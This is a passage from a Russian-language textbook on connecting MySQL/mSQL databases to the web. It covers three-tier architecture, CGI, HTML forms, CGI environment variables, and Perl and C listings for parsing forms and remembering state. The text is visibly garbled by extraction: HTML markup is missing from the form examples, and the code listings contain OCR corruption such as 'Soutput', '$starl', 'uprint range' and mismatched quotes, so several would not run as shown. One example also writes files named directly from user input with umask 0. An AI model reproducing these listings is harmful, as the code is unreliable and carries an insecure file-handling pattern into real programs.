    Сравните двухзвенную архитектуру на рис. 8-1 с трехзвенной архитектурой, показанной на рис. 8-4. Мы добавили промежуточный слой между интерфейсом пользователя и базой данных. Этот новый слой, сервер приложений, заключает в себе логику работы приложения - деловую логику, которая является общей для некоторой области задач. Клиент становится ничем иным, как средством просмотра объектов среднего яруса, а база данных становится хранилищем этих объектов.

    Самое главное, что вы выигрываете, - это разделение интерфейса пользователя и базы данных. Теперь вам не нужно встраивать знание базы данных в GUI. Напротив, все сведения о том, как работать с базой данных, могут размещаться в среднем ярусе.

    Две главные задачи сервера приложений - это изоляция подключений к базе данных и обеспечение централизованного хранилища для деловой логики. Интерфейс пользователя имеет дело только с отображением и вводом данных, а ядро базы данных занимается только проблемами базы данных. При перемещении обработки данных в центральное место одну и ту же программу сервера приложений могут использовать различные интерфейсы пользователя, и устраняется необходимость писать правила обработки данных всякий раз, когда вы создаете новое приложение.

    Трехзвенная архитектура

    Рис. 8-4. Трехзвенная архитектура

    CGI и базы данных

    С начала эпохи Интернет базы данных взаимодействовали с разработкой World Wide Web. На практике многие рассматривают Web просто как одну гигантскую базу данных мультимедийной информации.

    Поисковые машины дают повседневный пример преимуществ баз данных. Поисковая машина не отправляется бродить по всему Интернету в поисках ключевых слов в тот момент, когда вы их запросили. Вместо этого разработчики сайта с помощью других программ создают гигантский указатель, который служит базой данных, откуда поисковый механизм извлекает записи. Базы данных хранят информацию в таком виде, который допускает быструю выборку с произвольным доступом.

    Благодаря своей изменчивости базы данных придают Web еще большую силу: они превращают ее в потенциальный интерфейс для чего угодно. Например, системное администрирование можно производить удаленно через веб-интерфейс вместо требования регистрации администратора в нужной системе. Подключение баз данных к Web лежит в основе нового уровня интерактивности в Интернет.

    CGI и базы данныхОдна из причин подключения баз данных к Web регулярно дает о себе знать: значительная часть мировой информации уже находится в базах данных. Базы данных, существовавшие до возникновения Web, называются унаследованными (legacy) базами данных (в противоположность неподключенным к Web базам данных, созданным в недавнее время и которые следует назвать "дурной идеей"). Многие корпорации (и даже частные лица) стоят сейчас перед задачей обеспечения доступа к этим унаследованным базам данных через Web. Если только ваша унаследованная база не MySQL или mSQL, эта тема лежит за пределами данной книги.

    Как сказано раньше, только ваше воображение может ограничить возможности связи между базами данных и Web. В настоящее время существуют тысячи уникальных и полезных баз данных, имеющие доступ из Web. Типы баз данных, действующих за пределами этих приложений, весьма различны. Некоторые из них используют CGI-программы в качестве интерфейса с сервером баз данных, таким как MySQL или mSQL. Эти типы представляют для нас наибольший интерес. Другие используют коммерческие приложения для взаимодействия с популярными настольными базами данных, такими как Microsoft Access и Claris FileMaker Pro. А другие просто работают с плоскими текстовыми файлами, являющимися самыми простыми базами данных изо всех возможных.

    С помощью этих трех типов баз данных можно разрабатывать полезные веб-сайты любого размера и степени сложности. Одной из наших задач на протяжении нескольких следующих глав будет приложение мощи MySQL mSQL к Web с использованием CGI-программирования.

    Что такое CGI?

    Как и большинство акронимов, Common Gateway Interface (CGI - общий шлюзовый интерфейс) мало что говорит по сути. Интерфейс с чем? Где этот шлюз? О какой общности речь? Чтобы ответить на эти вопросы, вернемся немного назад и бросим взгляд на WWW в целом.

    Тим Бернерс-Ли, физик, работавший в CERN, придумал Web в 1990 году, хотя план возник еще в 1988. Идея состояла в том, чтобы дать исследователям в области физики элементарных частиц возможность легко и быстро обмениваться мультимедийными данными - текстом, изображениями и звуком — через Интернет. WWW состояла из трех основных частей: HTML, URL и HTTP. HTML - язык форматирования, используемый для представления содержания в Web. URL - это адрес, используемый для получения содержимого в формате HTML (или каком-либо ином) с веб-сервера. И, наконец, HTTP - это язык, который понятен веб-серверу и позволяет клиентам запрашивать у сервера документы.

    Возможность пересылки через Интернет информации всех типов явилась революцией, но вскоре была обнаружена и другая возможность. Если можно переслать через Web любой текст, то почему нельзя переслать текст, созданный программой, а не взятый из готового файла? При этом открывается море возможностей. Простой пример: можно использовать программу, выводящую текущее время, так, чтобы читатель видел правильное время при каждом просмотре страницы. Несколько умных голов в National Center for Supercomputing Applications (Национальный центр разработки приложений для суперкомпьютеров -NCSA), которые создавали веб-сервер, такую возможность увидели, и вскоре появился CGI.

    CGI - это набор правил, согласно которым программы на сервере могут через веб-сервер посылать данные клиентам. Спецификация CGI сопровождалась изменениями в HTML и HTTP, вводившими новую характеристику, известную как формы.

    Если CGI позволяет программам посылать данные клиенту, то формы расширяют эту возможность, позволяя клиенту посылать данные для этой CGI-программы. Теперь пользователь может не только видеть текущее время, но и устанавливать часы! Формы CGI открыли дверь для подлинной интерактивности в мире Web. Распространенные приложения CGI включают в себя:

  • Динамический HTML. Целые сайты могут генерироваться одной CGI-программой.

  • Поисковые механизмы, находящие документы с заданными пользователем словами.

  • Гостевые книги и доски объявлений, в которые пользователи могут добавлять свои сообщения.

  • Бланки заказов.

  • Анкеты.

  • Извлечение информации из размещенной на сервере базы данных.

    В последующих главах мы обсудим все эти CGI-приложения, а также и некоторые другие. Все они дают прекрасную возможность соединения CGI с базой данных, что и интересует нас в этом разделе.



    Формы HTML

    Прежде чем изучать особенности CGI, полезно рассмотреть наиболее часто встречающийся способ, с помощью которого конечные пользователи получают интерфейс к CGI-программам: формы HTML. Формы являются частью языка HTML, предоставляющей конечному пользователю поля различных типов. Данные, вводимые в поля, могут быть пересланы веб-серверу. Поля могут служить для ввода текста или являться кнопками, которые пользователь может нажать или отметить галочкой. Вот пример страницы HTML, содержащей форму:

    <НТМL><НЕАD><ТITLЕ>Моя страница с формами



    <р>Это страница с формой.



    Введите свое имя:







    Данная форма создает строку длиной 40 символов, куда пользователь может ввести свое имя. Под строкой для ввода располагается кнопка, при нажатии которой данные формы передаются серверу. Ниже перечислены относящиеся к формам теги, поддерживаемые HTML 3.2 -наиболее распространенным в настоящее время стандартом. Названия тегов и атрибутов могут вводиться в любом регистре, но мы придерживаемся необязательного соглашения, согласно которому открывающие теги пишутся в верхнем регистре, а закрывающие - в нижнем.



    Этот тег указывает на начало формы. В конце формы требуется закрывающий тег
    . Между тегами
    допускаются три атрибута: ACTION задает URL или относительный путь к CGI-програм-ме, которой будут посланы данные; METHOD указывает метод HTTP, посредством которого будет послана форма (это может быть GET или ч POST, но мы почти всегда будем использовать POST); ENCTYPE задает метод кодирования данных (его следует использовать только при четком понимании того, что вы делаете).



    Предоставляет наиболее гибкий способ ввода данных пользователем. Фактически есть девять разных типов тега . Тип задается атрибутом TYPE. В предыдущем примере используются два тега : один с типом SUBMIT и другой с типом по умолчанию TEXT. Девять типов следующие:


    TEXT

    Поле для ввода пользователем одной строки текста.

    PASSWORD

    To же, что TEXT, но вводимый текст не отображается на экране.

    CHECKBOX

    Флажок, который пользователь может устанавливать и сбрасывать.

    RADIO

    Радиокнопка, которая должна объединяться еще хотя бы с одной радиокнопкой. Пользователь может выбрать только одну из них.

    SUBMIT

    Кнопка, при нажатии которой форма отправляется на веб-сервер.

    RESET

    Кнопка, при нажатии которой в форме восстанавливаются значения по умолчанию.

    FILE

    Аналогичен текстовому окну, но предполагает ввод имени файла, который будет отправлен на сервер.

    HIDDEN

    Невидимое поле, в котором могут храниться данные.

    IMAGE

    Аналогичен кнопке SUBMIT, но можно задать картинку для изображения на кнопке.

    Кроме атрибута TYPE теги обычно имеют атрибут NAME, связывающий введенные в поле данные с некоторым именем. Имя и данные передаются серверу в стиле величина=значение . В предыдущем примере текстовое поле именовалось firstname . Можно использовать атрибут VALUE, чтобы присвоить полям типа TEXT, PASSWORD , FILE и HIDDEN предустановленные значения. Этот же атрибут, используемый с кнопками типа SUBMIT или RESET, выводит на них заданный текст. Поля типа RADIO и CHECKBOX можно отобразить как выставленные с помощью атрибута CHECKED без задания значения.

    Атрибут SIZE используется для задания длины полей типа TEXT, PASSWORD и FILE. Атрибут MAXLENGTH можно использовать для ограничения длины вводимого текста. Атрибут SRC задает URL изображения, используемого в типе IMAGE. И наконец, атрибут ALIGN задает характер выравнивания изображения для типа IMAGE и может иметь значение TOP, MIDDLE, BOTTOM (по умолчанию), LEFT или RIGHT (вверх, в середину, вниз, влево, вправо).

    .


    Как и у тега , у тега , и в качестве текста по умолчанию будет принят любой текст, находящийся между тегами , аналогично атрибуту VALUE для тега . Для тега

    , дающая место для ввода очерка. Данные получают имя 'essay'. Блок текста 70 символов в ширину и 10 строк в глубину. Пространство между тегами



    можно использовать для образца очерка. -->



    типов 'SUBMIT' и 'RESET' соответственно. Кнопка 'SUBMIT' имеет переопределенную надпись 'Ввести данные ', а кнопка 'RESET' имеет надпись по умолчанию (определяемую броузером). Кликнув по кнопке 'SUBMIT', вы пошлете данные на веб-сервер, Кнопка 'RESET' восстановит данные R исходное состояние, удалив все введенные пользователем данные. -->



    Единственный тип ввода, который мы здесь не использовали, - это тип IMAGE для тега . Можно было бы использовать его в качестве альтернативного способа отправки формы. Однако тип IMAGE редко совместим с текстовыми и не очень чуткими броузерами, поэтому благоразумно избегать его, если только ваш сайт не выполнен в насыщенном графическом стиле.

    После знакомства с основами форм HTML можно приступить к изучению собственно CGI.



    в книгу по базам данных

    Программирование с использованием CGI
    Включение раздела о CGI в книгу по базам данных может показаться столь же странным, как если бы в кулинарную книгу была включена глава о ремонте автомобилей. Разумеется, для того чтобы съездить в магазин за продуктами, нужен исправный автомобиль, но уместно ли об этом говорить? Полное изложение CGI и веб-программирование в целом выходят за рамки данной книги, но краткого введения в эти темы достаточно для того, чтобы расширить возможности MySQL и mSQL по представлению данных в царстве Web.

    В основном эта глава предназначена тем, кто изучает базы данных, но не прочь приобрести некоторые знания и в программировании для Web. Если ваша фамилия Бернерс-Ли или Андрессен, вряд ли вы найдете здесь то, чего еще не знаете. Но даже если вы не новичок в CGI, наличие под рукой краткого справочника во время погружения в тайны MySQL и mSQL может оказаться весьма полезным.



    Спецификация CGI

    Итак, что в точности представляет собой "набор правил", позволяющий CGI-программе, скажем, в Батавии, штат Иллинойс, обмениваться данными с веб-броузером во Внешней Монголии? Официальную спецификацию CGI наряду с массой других сведений о CGI можно найти на сервере NCSA по адресу http://hoohoo. ncsa.uluc.edu/ cgi/. Однако эта глава для того и существует, чтобы вам не пришлось долго путешествовать и самому ее искать.

    Есть четыре способа, которыми CGI передает данные между CGI-npor-раммой и веб-сервером, а следовательно, и клиентом Web:

  • Переменные окружения.

  • Командная строка.

  • Стандартное устройство ввода.

  • Стандартное устройство вывода.

    С помощью этих четырех методов сервер пересылает все данные, переданные клиентом, CGI-программе. Затем CGI-программа делает свое волшебное дело и пересылает выходные данные обратно серверу, который переправляет их клиенту.

    Спецификация CGIЭти данные приводятся с прикидкой на сервер HTTP Apache. Apache - наиболее распространенный веб-сервер, работающий практически на любой платформе, включая Windows 9х и Windows NT. Однако они могут быть применимы ко всем HTTP-серверам, поддерживающим CGI. Некоторые патентованные серверы, например, от Microsoft и Netscape, могут иметь дополнительные функции или работать несколько иначе. Поскольку лицо Web продолжает изменяться с невероятной скоростью, стандарты все еще развиваются, и в будущем, несомненно, произойдут изменения. Однако, что касается CGI, то эта технология представляется устоявшейся - расплачиваться за это приходится тем, что другие технологии, такие как апплеты, ее потеснили. Все CGI-программы, которые вы напишете, используя эти сведения, почти наверное смогут работать еще долгие годы на большинстве веб-серверов.

    Когда CGI-программа вызывается посредством формы — наиболее распространенного интерфейса, броузер передает серверу длинную строку, в начале которой стоит путь к CGI-программе и ее имя. Затем следуют различные другие данные, которые называются информацией пути и передаются CGI-программе через переменную окружения PATH_INFO (рис. 9-1). После информации пути следует символ "?", а за ним - данные формы, которые посылаются серверу с помощью метода HTTP GET. Эти данные становятся доступными CGI-программе через переменную окружения QUERY_STRING . Любые данные, которые страница посылает с использованием метода HTTP POST, который используется чаще всего, будут переданы CGI-программе через стандартное устройство ввода. Типичная строка, которую может получить сервер от броузера, показана на рис. 9-1. Программа с именем formread в каталоге cgi-bin вызывается сервером с дополнительной информацией пути extra/information и данными запроса choice=help - по-видимому, как часть исходного URL. Наконец, данные самой формы (текст "CGI programming" в поле "keywords") пересылаются через метод HTTP POST .


    Спецификация CGI

    Рис. 9-1. Части строки, переданной броузером серверу

    Переменные окружения

    Когда сервер выполняет CGI-программу, то прежде всего передает ей некоторые данные для работы в виде переменных окружения. В спецификации официально определены семнадцать переменных, но неофициально используется значительно больше - с помощью описываемого ниже механизма, называемого HTTP_/nec/zams/n. CGI-программа

    имеет доступ к этим переменным так же, как и к любым переменным среды командного процессора при запуске из командной строки. В сценарии командного процессора, например, к переменной окружения F00 можно обращаться как $F00; в Perl это обращение выглядит, как $ENV{'F00'} ; в С - getenv("F00") ; и т. д. В таблице 9-1 перечислены переменные, которые всегда устанавливаются сервером - хотя бы и в значение null. Помимо этих переменных данные, возвращаемые клиентом в заголовке запроса, присваиваются переменным вида HTTP_F00 , где F00 - имя заголовка. Например, большинство веб-броузеров включает данные о версии в заголовок с именем USEfl_AGENT . Ваша CGI-npor-рамма может получить эти данные из переменной HTTP_USER_AGENT .

    Таблица 9-1. Переменные окружения CGI





    Переменная окружения



    Описание



    CONTENT_LENGTH



    Длина данных, переданных методами POST или PUT, в байтах.



    CONTENT_TYPE



    Тип MIME данных, присоединенных с помощью методов POST или PUT .



    GATEWAY_INTERFACE



    Номер версии спецификации CGI, поддерживаемой сервером.



    PATH_INFO



    Дополнительная информация пути, переданная клиентом. Например, для запроса http://www.myserver.eom/test.cgi/this/is/a/ path?field=green значением переменной РАТН_ INFO будет /this/is/a/path.



    PATH_TRANSLATED



    То же, что PATH_INFO , но сервер производит всю







    возможную трансляцию, например, расширение имен типа "-account". "



    QUERY_STRING



    Все данные, следующие за символом "?" в URL. Это также данные, передаваемые, когда REQ-UEST_METHOD формы есть GET.



    REMOTE_ADDR



    IP-адрес клиента, делающего запрос.



    REMOTE_HOST



    Имя узла машины клиента, если оно доступно.



    REMOTE_IDENT



    Если веб-сервер и клиент поддерживают идентификацию типа identd, то это имя пользователя учетной записи, которая делает запрос.



    REQUEST_METHOD



    Метод, используемый клиентом для запроса. Для CGI-программ, которые мы собираемся создавать, это обычно будет POST или GET.

    SERVER_NAME Имя узла - или IP-адрес, если имя недоступно, -машины, на которой выполняется веб-сервер.
    SERVER_PORT Номер порта, используемого веб-сервером.
    SERVER_PROTOCOL

    Протокол, используемый клиентом для связи с сервером. В нашем случае этот протокол почти всегда HTTP.
    SERVER_SOFTWARE Данные о версии веб-сервера, выполняющего CGI-программу.


    SCRIPT_NAME



    Путь к выполняемому сценарию, указанный клиентом. Может использоваться при ссылке URL на самого себя, и для того, чтобы сценарии, ссылки на которые существуют в разных местах, могли выполняться по-разному в зависимости от места.

    <


    Приведем пример сценария CGI на Perl, который выводит все переменные окружения, установленные сервером, а также все унаследованные переменные, такие как PATH, установленные командным процессором, запустившим сервер.

    #!/usr/bin/perl -w

    print << HTML;

    Content-type: text/html\n\n



    <р>Переменные окружения

    HTML

    foreach (keys %ENV) { print "$_: $ENV{$_}
    \n"; }

    print <

    HTML

    Все эти переменные могут быть использованы и даже изменены вашей CGI-программой. Однако эти изменения не затрагивают веб-сервер, запустивший программу.

    Командная строка

    CGI допускает передачу CGI-программе аргументов в качестве параметров командной строки, которая редко используется. Редко используется она потому, что практические применения ее немногочисленны, и мы не будем останавливаться на ней подробно. Суть в том, что если переменная окружения QUERY_STRING не содержит символа " = ", то CGI-программа будет выполняться с параметрами командной строки, взятыми из QUERY_STRING . Например, http://www.myserver.com/cgi-bin/finger?root запустит finger root на www.myserver.com.

    Есть две основные библиотеки, обеспечивающие CGI-интерфейс для Perl. Первая из них - cgi-lib.pl Утилита cgi-lib.pl очень распространена, поскольку в течение долгого времени была единственной имеющейся большой библиотекой. Она предназначена для работы в Perl 4, но работает и с Perl 5. Вторая библиотека, CGI.pm, более новая и во многом превосходит cgi-lib.pl. CGI.pm написана для Perl 5 и использует полностью объектно-ориентированную схему для работы с данными CGI. Модуль CGI.pm анализирует стандартное устройство ввода и переменную QUERY_STRING и сохраняет данные в объекте CGI. Ваша программа должна лишь создать новый объект CGI и использовать простые методы, такие как paramQ, для извлечения нужных вам данных. Пример 9-2 служит короткой демонстрацией того, как CGI.pm интерпретирует данные. Все примеры на Perl в этой главе будут использовать CGI.pm.


    Пример 9-2. Синтаксический анализ CGI-данных на Perl

    #!/usr/bin/perl -w

    use CGI qw(:standard);

    # Используется модуль CGI.pm. qw(:standard) импортирует

    # пространство имен стандартных CGI-функций,чтобы получить

    # более понятный код. Это можно делать, если в сценарии

    # используется только один объект CGI.

    $mycgi = new CGI; #Создать объект CGI, который будет 'шлюзом' к данным формы

    @fields = $mycgi->param; # Извлечь имена всех заполненных полей формы

    print header, start_html('CGI.pm test'); ft Методы 'header' и 'start_html',

    # предоставляемые

    # CGI.pm, упрощают получение HTML.

    # 'header' выводит требуемый заголовок HTTP, a

    #'start_html' выводит заголовок HTML с данным названием,

    #a также тег .

    print "<р>Данные формы:
    ";

    foreach (@fields) { print $_, ":",- $mycgi->param($_), "
    "; }

    # Для каждого поля вывести имя и значение, получаемое с помощью

    # $mycgi->param('fieldname').

    print end_html; # Сокращение для вывода завершающих тегов "".

    Обработка входных данных в С

    Поскольку основные API для MySQL и mSQL написаны на С, мы не будем полностью отказываться от С в пользу Perl, но там, где это уместно, приведем несколько примеров на С. Есть три широко используемые С-библиотеки для CGI-программирования: cgic Тома Бу-телла (Tom Boutell)*; cgihtml Юджина Кима (Eugene Kim)t и libcgi от EIT*. Мы полагаем, что cgic является наиболее полной и простой в использовании. В ней, однако, недостает возможности перечисления всех переменных формы, когда они не известны вам заранее. На самом деле, ее можно добавить путем простого патча, но это выходит за рамки данной главы. Поэтому в примере 9-3 мы используем библиотеку cgihtml, чтобы повторить на С приведенный выше сценарий Perl.

    Пример 9-3. Синтаксический анализ CGI-данных на С

    /* cgihtmltest.c - Типовая CGI-программа для вывода ключей и их значений

    из данных, полученных от формы */

    #include


    #include "cgi-lib.h" /* Здесь содержатся все определения функций СGI */

    #include "html-lib.h" /* Здесь содержатся' все определения вспомогательных функций для HTML */

    void print_all(llist 1)

    /* Эти функции выводят данные, переданные формой, в том же формате, что и приведенный выше сценарий Perl. Cgihtml предоставляет также встроенную функцию

    print_entries(), которая делает то же самое, используя формат списка HTML. */ {

    node* window;

    /* Тип 'node' определен в библиотеке cgihtml и ссылается на связанный список, в котором хранятся все данные формы. */

    window = I.head; /* Устанавливает указатель на начало данных формы */

    while (window != NULL) { /* Пройти по связанному списку до последнего (первого пустого) элемента */

    printf(" %s:%s
    \n",window->entry. name,replace_ltgt(window->entry.value));

    /* Вывести данные. Replace__ltgt() - функция, понимающая HTML-кодировку текста и обеспечивающая его правильный вывод на броузер клиента. */

    window = window->next; /* Перейти к следующему элементу списка. */

    } }

    int main() {

    llist entries; /* Указатель на проанализированные данные*/

    int status; /* Целое число, представляющее статус */

    html__header(); /* Вспомогательная функция HTML, выводящая заголовок HTML*/

    html_begin("cgihtml test");

    /* Вспомогательная функция HTML, выводящая начало страницы HTML с указанным заголовком. */

    status = read_cgi_input(&entries); /* Производит ввод и синтаксический анализ данных формы*/

    printf("<р>Данные формы:
    ");

    print_all(entries); /* Вызывает определенную выше функцию print_all(). */

    html_end(); /* Вспомогательная функция HTML, выводящая конец страницы HTML. */

    list_clear(&entries); /* Освобождает память, занятую данными формы. */

    return 0; }

    Стандартное устройство вывода

    Данные, посылаемые CGI-программой на стандартное устройство вывода, читаются веб-сервером и отправляются клиенту. Если имя сценария начинается с nph-, то данные посылаются прямо клиенту без вмешательства со стороны веб-сервера. В этом случае CGI-программа должна сформировать правильный заголовок HTTP, который будет понятен клиенту. В противном случае предоставьте веб-серверу сформировать HTTP-заголовок за вас.


    Даже если вы не используете nph-сценарий, серверу нужно дать одну директиву, которая сообщит ему сведения о вашей выдаче. Обычно это HTTP-заголовок Content-Type , но может быть и заголовок Location . За заголовком должна следовать пустая строка, то есть перевод строки или комбинация CR/LF.

    Заголовок Content-Type сообщает серверу, какого типа данные выдает ваша CGI-программа. Если это страница HTML, то строка должна быть Content-Type: text/html. Заголовок Location сообщает серверу другой URL - или другой путь на том же сервере, - куда нужно направить клиента. Заголовок должен иметь следующий вид: Location: http:// www. myserver. com/another/place/.

    После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

    В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.



    Важные особенности сценариев CGI

    Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

    Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

    Запоминание состояния

    Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом "без памяти". Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

    Важные особенности сценариев CGI
    Рис. 9-2. Множественные запросы форм

    Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.


    В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

    Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

    Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. "Официально" он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные "боковые ветви". Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.


    Многие сайты по- прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле "имя регистрации/пароль". Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

    Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

    Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.


    Пример 9-4. Сохранение состояния в сценарии CGI

    #!/usr/bin/perl -w

    use CGI;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    # Это файл, который будет выводиться, может быть любым.

    $output = new CGI;

    sub print_range { # Это главная функция программы, my $start = shift;

    # Начальная строка файла, my $count = 0;

    # Указатель, my $line = "";

    # Текущая строка файла, print $output->header,

    $output->start_html('Moй словарь');

    # Создает HTML с заголовком 'Мой словарь', print "\n";

    while (($count < $start) and ($line = )) { $count++; }

    # Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? ) ) { print $line; $count++; }

    # Напечатать очередные 10 строк.

    my $newnext = $start+10; my $newprev = $start-10;

    # Установить начальные строки для URL 'Next' и 'Previous',

    print "";

    unless ($start == 0) { # Включить URL 'Previous', если только вы

    # уже не в начале .

    print qq%Previous%; }

    unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

    print qq% Next%;

    }

    print "HTML; HTML

    exit(0); }

    # Если данных нет, начать сначала,

    if (not $output->param) {

    &print_range(0); }

    # Иначе начать со строки, указанной в данных.

    &print_range($output->param('start'));

    В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

    Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.


    Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

    - Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

    Пример 9-5. Устойчивое запоминание состояния

    #!/usr/bin/perl -w

    use CGI;

    umask 0;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    chdir("users") or die("He могу перейти в каталог $!");

    # Это каталог, где будут храниться все данные

    # о пользователе.

    Soutput = new CGI;

    if (not$output->param) {

    print $output->header,

    $output->start_html('Мой словарь');

    print "HTML;



    <р>Введите свое имя пользователя:





    HTML

    exit(0); }

    $user = $output->param('username');

    ## Если файла пользователя нет, создать его и установить

    ## начальное значение в '0',

    if ( not -e "$user" ) {

    open (U, ">$user") or die("He могу открыть! $!");


    print U "0\n";

    close U;

    &print_range('0');

    ## если пользователь существует и в URL не задано

    ## начальное значение, прочесть последнее значение и начать с него.

    } elsif ( not $output->param('start') ) {

    open(U,"Suser") or die("He могу открыть пользователя! $!");

    $start = ; close U;

    chomp $starl;

    uprint range($start);

    ## Если пользователь существует и в URL не указано

    ## начальное значение, записать начальное значение

    ## в файл пользователя и начать вывод.

    } else{

    open(U,">$user") or die("He могу открыть пользователя для записи! $!");

    print U $output->param('start'), "\n";

    close U;

    &print_range($output->param('start1)); }

    sub print_range {

    my $start = shift;

    my $count = 0;

    my $line = " "

    print $output->header,

    $output->start_html(' Мой словарь ');

    print "
    \n";

    while (($count < $start) and ($line = )) { $count++; }

    while (($count < $start+10) and ($line = ) )

    {

    print $line; $count++;

    }

    my $newnext = $start+10;

    my $newprev = $start-10;

    print "
    ";

    unless (Sstart == 0)

    {

    print

    qq%

    Previous
    %;

    }

    unless (eof) { print qq% Next%;

    # Заметьте, что имя пользователя 'username' добавлено к URL.

    # В противном случае CGI забудет, с каким пользователем имел дело.

    }

    print $output->end_html;

    exit(0');

    }

    Меры безопасности

